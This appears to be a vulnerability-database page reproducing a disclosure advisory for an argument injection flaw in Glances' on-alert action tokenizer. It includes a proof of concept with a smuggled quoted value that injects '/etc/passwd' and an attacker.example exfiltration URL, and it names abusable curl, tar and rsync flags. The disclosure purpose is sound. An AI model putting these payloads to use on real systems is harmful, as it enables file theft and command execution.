SecurityContext

CVE-2026-133465: Argument Injection in On-Alert Action Commands via Unescaped Quote Characters in secure.py's Command Tokenizer

  • Cve: CVE-2026-133465
  • Name: Argument Injection in On-Alert Action Commands via Unescaped Quote Characters in secure.py's Command Tokenizer
  • Description: ### Summary `glances/secure.py`'s `__split_args()` tokenizes on-alert action command lines by treating `'` and `"` as argument-boundary delimiters with no concept of escaping. A Mustache-rendered stat value that is quoted in an action command template (the pattern documented in `docs/aoa/actions.rst` for values that can contain whitespace, e.g. `{{mnt_point}}`) can break out of its quote boundary if the value itself contains a literal quote character. An attacker who can influence a monitored stat value (mount point name, filesystem label, AMP result, process name/cmdline, etc.) can inject entirely new argv tokens into the process the action invokes. This is independent of the existing `_SHELL_OPERATORS` sanitizer in `glances/actions.py`, which only neutralizes `&&`, `|`, `>`, `>>`, and `&` — no shell operator is needed for this attack. It is also independent of `--disable-config-exec`, which only disables operator interpretation, not quote tokenization. This is CWE-88 (Argument Injection), a distinct root cause from every prior advisory on this subsystem (CVE-2026-32608, CVE-2026-53925, CVE-2026-62982, GHSA-qcpp-8x79-hhp3, GHSA-3vwc-qwhc-3mj7), all of which addressed CWE-78 shell-operator/chaining injection. Those fixes do not touch quote handling. Additionally, chevron's default ("escaped") `{{var}}` Mustache syntax only HTML-escapes `" < > &` (`chevron/renderer.py:_html_escape`) — it does not escape the single quote. So this is exploitable through the standard, documented Mustache syntax; the raw/triple-mustache form is not required. ### Details Affected file: `glances/secure.py`, function `__split_args()` (lines 48-55), reached via `glances/actions.py:GlancesActions.run()` → `secure_popen()` whenever a `<plugin>_action` / `<plugin>_action_repeat` is configured in `glances.conf`. ```python def __split_args(cmd): tmp_split = [_ for _ in list(filter(None, re.split(r'(\s+)|(".*?"+?)|(\'.*?\'+?)', cmd))) if _ != ' '] return [_[1:-1] if (_[0] == _[-1] == '"') or (_[0] == _[-1] == '\'') else _ for _ in tmp_split] ``` Prerequisites: - An on-alert action configured in `glances.conf` (e.g. `[fs] critical_action=...`) referencing a stat value known to be attacker-influenceable — the same threat model already accepted for CVE-2026-32608 (process names, container names, mount points). - The action command quotes that Mustache field, which is the documented way to keep a multi-word value as a single argument (mount points routinely contain spaces). #### PoC Example `glances.conf`: ```ini [fs] critical=90 critical_action=/usr/local/bin/fs-alert.sh '{{mnt_point}}' {{percent}} ``` Attacker-controlled input (e.g. label/path of a mounted device, bind mount, or FUSE mount): ```text mnt_point = /mnt/usb/x' --evil-flag /etc/passwd http://attacker.example/leak 'y ``` Driven end-to-end through the real `glances.actions.GlancesActions`: ```python from glances.actions import GlancesActions class Args: time = 0 disable_config_exec = False commands = ["python3 argv_logger.py '{{mnt_point}}' {{percent}}"] mustache_dict = { 'mnt_point': "/mnt/usb/x' --evil-flag /etc/passwd http://attacker.example/leak 'y", 'percent': '92', 'critical': '90', 'warning': '80', 'careful': '70', 'time': '2026-08-26T00:00:00', } actions = GlancesActions(args=Args()) actions.run('fs_percent', 'critical', commands, repeat=False, mustache_dict=mustache_dict) ``` Resulting argv delivered to the invoked process: ```python ['argv_logger.py', '/mnt/usb/x', '--evil-flag', '/etc/passwd', 'http://attacker.example/leak', 'y', '92'] ``` No `&&`, `|`, `>`, `>>`, or `&` appears anywhere in the payload. The single quote in the stat value terminates the quoted Mustache field early and injects three new, fully attacker-controlled argv tokens. ### Impact If the action script/binary accepts flags that can be abused via injected arguments (e.g. `curl --upload-file`/`-o`/`-K`, `tar --checkpoint-action=exec=`, `rsync -e`, or any custom script whose parsing has side effects), this becomes a primitive for arbitrary file read/write, SSRF/data exfiltration, or command execution. Affects any Glances deployment with an on-alert action configured against an attacker-influenceable stat value.
  • Preliminary: yes
  • Source: not_on_cve_org
  • Title: Argument Injection in On-Alert Action Commands via Unescaped Quote Characters in secure.py's Command Tokenizer
  • Severity: medium
  • Cvss score: 6.5
  • Cvss vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
  • Published at: 2026-09-26T13:37:57Z
  • Age in days: 60
  • References total: 1
  • Advisory url: https://github.com/nicolargo/glances/security/advisories/GHSA-56xw-p9qm-r437
  • Record status: not_on_cve_org
  • Description source: repo_advisory
  • Checked, none or zero: known exploited entries, nuclei templates, public exploits total, public exploits capped, public exploits, products total, products, rejected by nvd
  • Not known: epss score, epss percentile, assignee, modified at, first seen at, patch available, hackerone, nvd status, exploitation

Cwe

IdName
CWE-88—

References

UrlTags
https://github.com/nicolargo/glances/security/advisories/GHSA-56xw-p9qm-r437

Index

  • Checked, none or zero: repositories, repositories high signal, packages

Sources

SourceIdUrl
repo_advisoryGHSA-56xw-p9qm-r437https://github.com/nicolargo/glances/security/advisories/GHSA-56xw-p9qm-r437